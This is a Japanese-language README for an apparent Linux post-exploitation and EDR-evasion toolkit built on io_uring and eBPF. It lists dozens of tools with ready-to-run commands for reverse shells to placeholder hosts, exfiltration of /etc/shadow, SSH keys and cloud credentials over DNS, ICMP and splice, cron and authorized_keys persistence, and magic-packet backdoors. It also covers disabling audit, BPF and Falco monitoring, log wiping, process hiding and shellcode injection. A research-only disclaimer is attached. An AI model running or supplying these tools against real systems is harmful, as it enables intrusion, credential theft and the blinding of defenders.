
Linux向けのポストエクスプロイテーションおよび回避研究ツールキット。
Linux向けポストエクスプロイトおよび回避研究ツールキット。io_uringとeBPFをベースに構築。liburingやフレームワークは使わず、生のシステムコールのみを使用。
まもなくさらにツールを追加予定。PR歓迎。🇧🇷
Rootkit Researchersに参加
許可された研究およびレッドチームエンゲージメントに限ります。所有していないシステムで実行しないでください。
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## 要件
**ツールチェーン**
| ツール | 必要な用途 |
|---|---|
| `gcc` | すべてのユーザースペースバイナリ |
| `clang` | `ebpf/*.bpf.c` BPF側プログラム |
| `make` | ビルドシステム |
**ヘッダとライブラリ**
| パッケージ | 必要な用途 |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`、`<linux/io_uring.h>` および関連するカーネルヘッダ |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` など、`ebpf/` プログラムで使用されるもの |
| `bpftool` | `ebpf/` 内で `make vmlinux` を使用して `vmlinux.h` を生成する |
Debian/Kali/Ubuntu の場合:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
カーネルバージョン
| 最小 | 有効になる機能 |
|---|---|
| 5.4 | io_uring ベース(IORING_FEAT_SINGLE_MMAP、BPF マップの反復) |
| 5.6 | IORING_OP_OPENAT、IORING_OP_STATX、pidfd_getfd(pidfd_steal) |
| 5.8 | CAP_BPF + CAP_PERFMON 分割(BPF の CAP_SYS_ADMIN を置き換え) |
| 5.9 | BPF_LINK_DETACH(bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET(af_packet_send、dns_exfil、xdp_socket_send、bpf_kprobe_bypass) |
ケイパビリティ
BTF はカーネルで有効化されている必要があります(CONFIG_DEBUG_INFO_BTF=y)。ebpf/ プログラム向けに make vmlinux を実行するためです。
古い libc-dev ヘッダーを持つディストリビューション(Ubuntu 22.04 など)では、#ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45 が必要になる場合があります。このリポジトリでは既に処理されています。
edrs/ には独自のサブ Makefile があり、権限ごとに分割された約75のバイナリが含まれています:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
See [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) for the full breakdown.
## io_uring バイパスカバレッジ
io_uring SQE はカーネル workqueue を経由します。`io_uring_enter(2)` は `sys_call_table` を通らず、`sys_enter_*` トレースポイントを発火せず、`native_sys_call` のライブパッチにもヒットしません。これだけで、多くの種類の EDR フックを触らずに無効化します。
io_uring 単独でバイパスするもの:
| フックポイント | 注 |
|---|---|
| `sys_call_table` ポインタ置き換え | io_uring はシステムコールテーブルを通らない |
| `native_sys_call` / `compat_sys_call` へのライブパッチ | 同上 |
| `sys_enter_*` トレースポイント | workqueue パス、トレースポイントは発火しない |
io_uring 単独ではバイパスしないもの(アクティブなツールが必要):
| フックポイント | ツール | ツールの機能 |
|---|---|---|
| `vfs_read`、`security_file_open` などへの kprobe | `ftrace_enum` | kprobe フックの除去 |
| BPF LSM / KRSI | `bpf_link_detach` | BPF リンクのデタッチ |
| Linux 監査 | `audit_kill` | NETLINK_AUDIT による auditd の無効化 |
| LD_PRELOAD / PLT-GOT パッチ | `plt_unhook` | ユーザーランドフックの除去 |
| netfilter OUTPUT / conntrack | `af_packet_shell` | レイヤー 2 で AF_PACKET を使用、netfilter をスキップ |
| `inet_stream_connect` フック | `udp_shell` | UDP を使用、tcp connect パスを呼ばない |
## io_uring/
`iouring_utils.h` は liburing を使わずにリング設定を処理します。
| バイナリ | 機能 |
|---|---|
| `file_read` | io_uring 経由の OPENAT+READ+CLOSE チェーン、sys_enter_read イベントなし |
| `file_write` | OPENAT+WRITE+CLOSE チェーン |
| `file_append` | file_write と同様だが O_APPEND、オフセット -1 |
| `net_connect` | 1 つのリングで SOCKET+CONNECT+SEND+RECV |
| `net_reverse_shell` | io_uring CONNECT 経由のリバースシェル |
| `multifile_read` | 1 つの SQE バッチで最大 64 ファイルを読み取り |
| `memfd_exec` | ELF を stdin 経由で memfd にストリーミングし、/proc/self/fd 経由で execve |
| `proc_inject` | /proc/PID/mem 経由の JIT インジェクション; ptrace インジェクション(--ptrace フラグ) |
| `pipe_splice` | SPLICE カーネル間コピー、ユーザーランドフックはバイトを見ない |
| `inotify_bypass_watch` | io_uring READ は IN_ACCESS/IN_OPEN を発生させない |
| `dns_exfil` | io_uring SENDMSG 経由でデータを DNS クエリラベルとして 16 進エンコード |
| `af_packet_send` | AF_PACKET 経由の raw Ethernet(IORING_OP_SOCKET、inet パスをバイパス) |
| `xdp_socket_send` | AF_XDP + UMEM リング経由の raw フレーム、netfilter を完全にバイパス |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
ほとんどのツールはCAP_BPFを必要とします。env_exfilは非特権で動作します。icmp_triggerはCAP_BPFの代わりにCAP_NET_RAWを必要とします。
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444
## ebpf/
clang + libbpf + vmlinux.h が必要です。`ebpf/` 内で `make vmlinux` を実行して、実行中のカーネルの BTF から生成します。
| ファイル | 機能 |
|---|---|
| `exec.bpf.c` | sys_enter_execve のトレースポイント |
| `fentry_open.bpf.c` | sys_enter_openat のトレースポイント |
| `creds.bpf.c` | 資格情報パス上の openat+read を追跡 |
| `keylog.bpf.c` | 入力イベントトレースポイント、生のキーコードキャプチャ |
| `net.bpf.c` | sys_enter_connect のログ記録 |
| `net_hide.bpf.c` | /proc/net/tcp および /proc/net/udp からポートを隠蔽 |
| `proc_hide.bpf.c` | getdents64 の出力から PID を隠蔽 |
| `tty_sniff.bpf.c` | stdin/stdout/stderr の書き込みと読み取りをキャプチャ |
| `skf_c2_runner.c` | クラシック BPF ソケットフィルターによる ICMP C2 |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | マジック UDP パケットによる XDP トリガー |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01
sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>
sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337
sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan
sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload
./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out
cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload
sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so
./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444
./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443
./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack
./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali
./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5
./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh
./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>
## techniques/ (Falcoバイパス)
Falcoのデフォルトルールセット(`modern_ebpf`ドライバ、25ルール)を対象とします。最初に`edrs/edr_recon`を実行してください。
- バイパス軸A: イベントがFalcoに到達するのを防ぐ(io_uringが`sys_enter_*`をスキップ、ringbufドレインがイベントを静かにドロップ)。
- バイパス軸B: イベントはFalcoに到達するがルール条件が一致しない(proc.name偽装、パスピボット、代替フラグ)。
| ツール | 軸 | Falcoルール |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | all |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | all |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | all |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | all 25 |```bash
./techniques/uring_ops cat /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999
sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain <map_id>
./techniques/ringbuf_overflow flood 16 10
./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all
sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload
./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc <hex>
./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen <so>
./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"
./techniques/proc_masquerade setname sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>
./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell
./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444
./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"
./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>
./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log
プルリクエストを送信してください。単一目的のツール、生のシステムコール、新しい依存関係は不要です。
このプロジェクトは、厳密にセキュリティ研究、許可されたペネトレーションテスト、CTF競技、および防御ツール開発を目的としています。ここで実証されているすべての手法は、公開されているセキュリティ研究およびカーネルドキュメントに記載されています。
このツールキットを、自分が所有していない、またはテストするための明示的な書面による許可がないシステムに対して使用しないでください。 無許可の使用は、米国コンピュータ詐欺および悪用取締法(CFAA)、EUの情報システムへの攻撃に関する指令、およびお住まいの地域の同等の法律に違反する可能性があります。
著者は誤用に対する一切の責任を負いません。本ソフトウェアを使用することにより、適用される法律の遵守に単独で責任を負うことに同意したものとみなされます。
| ケイパビリティ | 必要とするツール |
|---|
CAP_BPF(または5.8以前の CAP_SYS_ADMIN) | すべての bpf/ ツール、ebpf/ ローダー |
CAP_PERFMON | ebpf/ tracepoint および kprobe プログラム |
CAP_NET_RAW | icmp_tunnel、af_packet_shell、skf_c2_runner、icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send、netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
| コマンド | ビルド対象 |
|---|
make all | すべて |
make uring | io_uring/ のみ |
make bpf | bpf/ ユーザースペースツール |
make ebpf | BPF側プログラム(clang + libbpf が必要) |
make edrs | すべての edrs/ バイナリ |
make techniques | Falco バイパスツール |
make clean | すべてのバイナリを削除 |
| バイナリ | 説明 |
|---|
map_recon | ロードされているすべてのBPFマップを一覧表示 |
map_dumper | IDでマップの内容をダンプ |
map_write | IDでマップエントリを更新 |
map_poison | ペイロード周辺のFalcoのinteresting_sysエントリをゼロクリア |
prog_recon | BPFプログラムを一覧表示:タイプ、名前、マップ数 |
pid_allowlist | PIDをEDR許可リストマップに挿入 |
edr_fin | ロードされたBPFマップ/プログラムを既知のEDRヒューリスティックと照合してスコアリング |
lsm_check | アクティブなBPF LSMフックを検出し、マップ書き込みがブロックされているかテスト |
bpf_persist | bpffs上でマップとプログラムをピン/取得/アンピン |
map_snapshot | マップ内容をバイナリファイルに保存・復元 |
env_exfil | /proc/*/environから秘密情報を読み取る |
bpf_link_detach | BPFリンクを列挙してデタッチ(LSMフックを削除) |
link_update | BPFリンクをno-opプログラムにリダイレクト(フックは見えるままだが、何も発火しない) |
map_freeze | BPF_MAP_FREEZEでBPFマップを読み取り専用にフリーズ(書き込みは-EPERMを返す) |
icmp_trigger | ICMPマジックパケットバックドア;ソケットペアリレーを介してリバースシェルを起動;kworker/u4:2として偽装 |
| sudo ./bpf/map_recon | |
| sudo ./bpf/map_dumper 42 --ascii | |
| sudo ./bpf/map_write <map_id> <key_hex> <val_hex> | |
| sudo ./bpf/prog_recon --maps --lsm-only | |
| sudo ./bpf/edr_fin | |
| sudo ./bpf/lsm_check <map_id> | |
| sudo ./bpf/pid_allowlist <map_id> [pid] | |
| sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map | |
| sudo ./bpf/bpf_persist list /sys/fs/bpf | |
| sudo ./bpf/map_snapshot save <prog_id> snap.bin | |
| sudo ./bpf/map_snapshot restore snap.bin | |
| ./bpf/env_exfil --filter AWS | |
| sudo ./bpf/bpf_link_detach list --lsm-only | |
| sudo ./bpf/bpf_link_detach detach-lsm --dry-run | |
| sudo ./bpf/link_update <link_id> | |
| sudo ./bpf/map_freeze <map_id> | |
| sudo ./bpf/map_freeze --prog <name_substr> | |
| sudo ./bpf/icmp_trigger --daemon | |
| sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port> |
| binary | root | technique |
|---|
edr_recon | yes | 12ベンダーEDR検出器:プロセス、アーティファクト、モジュール、BPF、kprobes |
bpf_prog_recon | yes | ロードされたBPFプログラム、マップ、kprobesの列挙 |
bpf_map_wipe | yes | BPFマップエントリの消去 |
bpf_detach_all | yes | 全てのBPFリンクの切り離し |
tetragon_blind | yes | Tetragon/Falcoプロセスのスキャン、フリーズ、解凍、強制終了、またはブラインド |
ftrace_enum | yes | kprobe/ftraceフックの列挙と解除 |
lkm_unload | yes | カーネルモジュールのアンロード |
lkm_inline_detect | yes | インラインカーネルフックの検出 |
perf_bpf_kill | yes | Falco perfイベントBPFプログラムの列挙と強制終了 |
module_recon | yes | カーネルモジュールの列挙 |
cgroup_freeze | yes | cgroup v2を介したプロセスのフリーズ/解凍 |
oom_cage | yes | 自身またはターゲットのoom_score_adjを設定 |
sysctl_blind | yes | セキュリティ関連のsysctlの読み取り/書き込み |
audit_kill | yes | NETLINK_AUDITを介したLinux監査の無効化/制限 |
inotify_exhaust | yes | 全てのinotifyウォッチを消費 |
netfilter_flush | yes | netfilterチェーンのフラッシュ |
dmesg_wipe | yes | カーネルリングバッファのクリア |
ld_so_preload | yes | /etc/ld.so.preloadの操作 |
proc_hide | yes | バインドマウントを介した/proc/PIDの隠蔽 |
mount_over | yes | 任意のパスへのバインドマウント |
log_wipe | yes | ログファイルとシェル履歴の切り詰め |
elf_infect | yes | PT_NOTEからPT_LOADへのパラサイトインジェクション |
proc_mem_inject | yes | /proc/PID/memへのpwrite、ptraceアタッチなし |
af_packet_shell | yes | netfilter OUTPUTをバイパスするRaw Ethernet C2 |
icmp_tunnel | yes | ICMPエコーリクエストペイロードを介したデータ流出 |
event_flood | yes | ペイロード周辺にイベントフラッドを発生させモニターを飽和させる |
livepatch_bypass | yes | io_uringを使用してシステムコールディスパッチャのlivepatchフックをすり抜ける |
livepatch_stack_blind | yes | livepatch + BPF kprobe + netfilterフックスタックの無効化;comm偽装によるモジュールアンロード |
lsm_authlink_blind | yes | LSM認証リンクフローの無効化、認証エージェントのフリーズまたは強制終了、inodeスワップを介した書き込み |
lsm_callback_bypass | yes | pidfd_getfd、process_vm_writev、perf+BPFアタッチ、新しいネットワーク名前空間を介したLSMコールバックのバイパス |
bpf_fim_blind | yes | BPF FIMセンサーのフリーズ、リングバッファマップエントリの消去、リングバッファのフラッド |
syscall_dispatch_bypass | yes | システムコールディスパッチとlivepatch do_syscall_64上のkprobesをバイパスするio_uringファイル/ネット操作 |
bpf_kprobe_bypass | yes | _x64_sys* kprobeターゲットをバイパスするio_uringファイル/ネット/exec操作 |
ptrace_inject_so | yes | ptrace + dlopenを介して.soを実行中のプロセスにロード |
uring_stealth | no | io_uringを介したファイル/ネット操作、sys_enter_*イベントなし |
openat2_bypass | no | 代替システムコール(openat2、copy_file_range) |
ptrace_selfguard | no | ガーディアンプロセスを介した外部ptraceのブロック |
plt_unhook | no | dlmopenを介したPLT-GOTフックの検出とバイパス |
fexecve_drop | no | ELFをmemfdに書き込み、/proc/self/fdを介してexecve |
memfd_loader | no | memfdを介して.soをロード、コンストラクタ呼び出し |
memfd_userexec | no | stdinからのELFをmemfdに書き込み、/proc/self/fdを介してexecve |
hollow_proc | no | psに偽装名を表示するプロセス空化 |
argv_spoof | no | prctl(PR_SET_NAME)とargv[0]上書きによるcommの名前変更 |
clone_netns | no | 非特権ネットワーク名前空間での実行 |
ns_exec | no | ユーザー/PID/マウント名前空間のアンシェア |
splice_c2 | no | splice(2)を使用したデータ転送によるTCP C2;send/recvフックは発火しない |
abstract_sock_c2 | no | 抽象Unixソケットを介したC2 |
udp_shell | no | UDPリバースシェル、inet_stream_connectをバイパス |
tls_shell | no | 偽のTLS ClientHelloの背後にあるリバースシェル |
dns_exfil_raw | no | データを16進エンコードしてDNSクエリラベルとして送信 |
pidfd_steal | no | pidfd_getfdを介して他のプロセスから開いているfdを奪取 |
vma_hide | no | RWXからPROT_NONEへのサイクル、MADV_DONTDUMP、VMAリネーム |
coredump_block | no | フィルター/dumpable/rlimitを介したコアダンプのブロック |
seccomp_notify | no | SECCOMP_USER_NOTIFを介したシステムコールのインターセプト |
ipc_covert | no | POSIXメッセージキューを介したC2 |
shared_mem_c2 | no | POSIX共有メモリを介したC2、ネットワークトラフィックなし |
pipe_exfil | no | splice(2)を使用したデータ流出、LD_PRELOADフックはブラインド |
proc_fd_scan | no | 機密パスを探すための/proc/PID/fdシンボリックリンクのスキャン |
proc_vm_inject | no | process_vm_writev、/proc/PID/fdを開かない |
self_delete | no | 実行中に自身のバイナリをディスクから削除 |
time_stomp | no | atime+mtimeのクローン/ゼロ/設定 |
userland_persist | no | bashrc/crontab/autostart/authorized_keys |
env_scrape | no | シークレットとSSHソケットを求めて/proc/*/environを読み取る |
anon_shellcode | no | MAP_ANONYMOUS内のシェルコード、ファイルなし、execveなし |
ld_preload_inject | no | .soをドロップし、LD_PRELOADを介してインジェクション |
ssh_agent_hijack | no | キャプチャしたソケットに対してエージェントプロトコルを話す |
fanotify_bypass | no | fanotifyマークを回避するためのmemfd/anon-mmap/devshm |
ringbuf_flood | no | BPFリングバッファを飽和させてイベントをドロップ |
log_evasion | no | io_uringファイル操作とrawシステムコールTCPシェル、libcラッパーなし |
syscalltable_bypass | no | io_uringを使用してsys_call_tableポインターフックをすり抜ける |
uring_recon_unpriv | no | io_uring読み取りを介した資格情報、キー、接続 |
fd_steal_read | no | pidfd_getfdを介してfdを奪取、自身のopen()なしで読み取り |
mmap_read | no | mmapを介したファイル読み取り、read()システムコールなし |
scm_rights_exfil | no | SCM_RIGHTSを介してfdを渡し、自身のopen()なしで読み取り |
splice_read | no | splice(2)を介した読み取り、ユーザースペースバッファなし |
| sudo ./edrs/edr_recon | ||
| sudo ./edrs/edr_recon procs arts mods | ||
| sudo ./edrs/edr_recon progs maps |
| ルール | バイパス手法 | ツール |
|---|
| 1 監視対象ファイルのディレクトリトラバーサル読み取り | io_uring OPENAT | uring_ops cat, per_rule_bypass dir-traversal |
| 3 信頼できない機密ファイルの読み取り | io_uring or prctl | uring_ops creds, bypass_file_rules read-masked |
| 4 信頼できないシェルの実行 | python3/perl instead of sh | rule_evade unusual-shell |
| 6 コンテナ内での端末シェル | setsid, proc.tty=0 | bypass_proc_rules shell-notty |
| 7 K8S APIサーバーへの接続 | io_uring CONNECT | uring_ops shell, per_rule_bypass k8s-connect |
| 8 Netcat RCE | C binary, proc.name != nc/ncat | bypass_proc_rules reverse-shell |
| 9 秘密鍵の検索 | open+read in C, no grep/find | bypass_file_rules grep-bypass |
| 10 ログアクティビティの消去 | ftruncate without O_TRUNC | bypass_file_rules log-clear |
| 11 大量データの削除 | write loop, no shred/mkfs | bypass_file_rules wipe |
| 15 STDOUT/STDINのネットワークへのリダイレクト | fcntl F_DUPFD instead of dup2 | bypass_proc_rules reverse-shell |
| 18 release_agentエスケープの検出 | io_uring OPENAT+WRITE to release_agent | cgroup_escape proof/shell, uring_ops write |
| 19 プロセスへのPTRACEアタッチ | /proc/PID/mem or process_vm_writev | bypass_proc_rules proc-inject |
| 20 PTRACEによるアンチデバッグ試行 | TracerPid check via /proc/self/status | bypass_proc_rules anti-debug |
| 22 /dev/shmからの実行 | exec from /run/user/uid/ instead | bypass_proc_rules run-safe |
| 25 memfd_createによるファイルレス実行 | shellcode via mmap, no execve | exe_from_memfd_bypass sc, proc_ghost ghost-sc |
| 全ルール | drain ringbuf or remove scap.ko | ringbuf_overflow, kmod_unload |